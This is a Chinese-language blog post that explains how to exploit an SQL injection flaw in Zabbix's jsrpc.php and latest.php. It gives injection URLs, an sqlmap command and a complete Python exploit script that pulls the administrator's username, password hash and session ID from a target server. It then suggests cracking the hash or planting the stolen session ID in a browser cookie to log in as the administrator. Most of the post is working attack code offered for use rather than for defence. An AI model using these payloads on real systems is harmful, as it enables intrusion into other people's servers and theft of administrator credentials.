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ZabbixSQL注入漏洞利用

2016-11-02

Zabbix是一个开源的企业级性能监控解决方案(再此之前还真没听说过),昨天在Freebuf被曝出SQL注入漏洞Zabbix jsrpc php?

Zabbix是一个开源的企业级性能监控解决方案(再此之前还真没听说过),昨天在Freebuf被曝出SQL注入漏洞Zabbix
jsrpc.php?type=9&method=screen.get×tamp=1471403798083&pageFile=history.php&profileIdx=web.item.graph&profileIdx2=1+or+updatexml(1,md5(0x11),1)+or+1=1)%23&updateProfile=true&period=3600&stime=20160817050632&resourcetype=17复制代码
latest.php?output=ajax&sid=&favobj=toggle&toggle_open_state=1&toggle_ids[]=15385);select * from users where (1=1
复制代码当在URl后加入这两种请求时,出现下列情况就是有漏洞:sqlmap:sqlmap -u "http://www.2cto.com/jsrpc.php?type=9&method=screen.get×tamp=1471403798083&pageFile=history.php&profileIdx=web.item.graph&profileIdx2=1&updateProfile=true&period=3600&stime=20160817050632&resourcetype=17" -p "profileIdx2"博客上的exp可批量运用:
#!/usr/bin/env python
# -*- coding: utf_8 -*-
# 博客 http://www.2cto.com/
import urllib2
import sys, os
import re
def deteck_Sql():
u'检查是否存在SQL注入'
payload = "jsrpc.php?sid=0bcd4ade648214dc&type=9&method=screen.get×tamp=1471403798083&mode=2&screenid=&groupid=&hostid=0&pageFile=history.php&profileIdx=web.item.graph&profileIdx2=999'&updateProfile=true&screenitemid=&period=3600&stime=20160817050632&resourcetype=17&itemids%5B23297%5D=23297&action=showlatest&filter=&filter_task=&mark_color=1"
try:
response = urllib2.urlopen(url + payload, timeout=10).read()
except Exception, msg:
print msg
else:
key_reg = re.compile(r"INSERT\s*INTO\s*profiles")
if key_reg.findall(response):
return True
def sql_Inject(sql):
u'获取特定sql语句内容'
payload = url + "jsrpc.php?sid=0bcd4ade648214dc&type=9&method=screen.get×tamp=1471403798083&mode=2&screenid=&groupid=&hostid=0&pageFile=history.php&profileIdx=web.item.graph&profileIdx2=" + urllib2.quote(
sql) + "&updateProfile=true&screenitemid=&period=3600&stime=20160817050632&resourcetype=17&itemids[23297]=23297&action=showlatest&filter=&filter_task=&mark_color=1"
try:
response = urllib2.urlopen(payload, timeout=10).read()
except Exception, msg:
print msg
else:
result_reg = re.compile(r"Duplicate\s*entry\s*'~(.+?)~1")
results = result_reg.findall(response)
if results:
return results[0]
if __name__ == '__main__':
# os.system(['clear', 'cls'][os.name == 'nt'])
print '+' + '-' * 60 + '+'
print '\t Python Zabbix
print '\t Blog:http://www.waitalone.cn/'
print '\t\t Code BY: 独自等待'
print '\t\t Time:2016-08-18'
print '+' + '-' * 60 + '+'
if len(sys.argv) != 2:
print '用法: ' + os.path.basename(sys.argv[0]) + ' Zabbix 网站地址'
print '实例: ' + os.path.basename(sys.argv[0]) + ' http://www.waitalone.cn/'
sys.exit()
url = sys.argv[1]
if url[-1] != '/': url += '/'
passwd_sql = "(select 1 from(select count(*),concat((select (select (select concat(0x7e,(select concat(name,0x3a,passwd) from users limit 0,1),0x7e))) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)"
session_sql = "(select 1 from(select count(*),concat((select (select (select concat(0x7e,(select sessionid from sessions limit 0,1),0x7e))) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)"
if deteck_Sql():
print u'Zabbix 存在SQL注入

漏洞!\n'
print u'管理员 用户名密码:%s' % sql_Inject(passwd_sql)
print u'管理员 Session_id:%s' % sql_Inject(session_sql)
else:
print u'Zabbix 不存在SQL注入漏洞!\n'复制代码
两种利用姿势:
SQL注射出的管理员密码解密md5直接登录;
利用得到的管理员sessionid修改Cookie直接登录;这里如果你是Chrome浏览器的话,推荐插件EditThisCookie;可以直接编辑网站cookie,方便利用;推荐使用这种方法。
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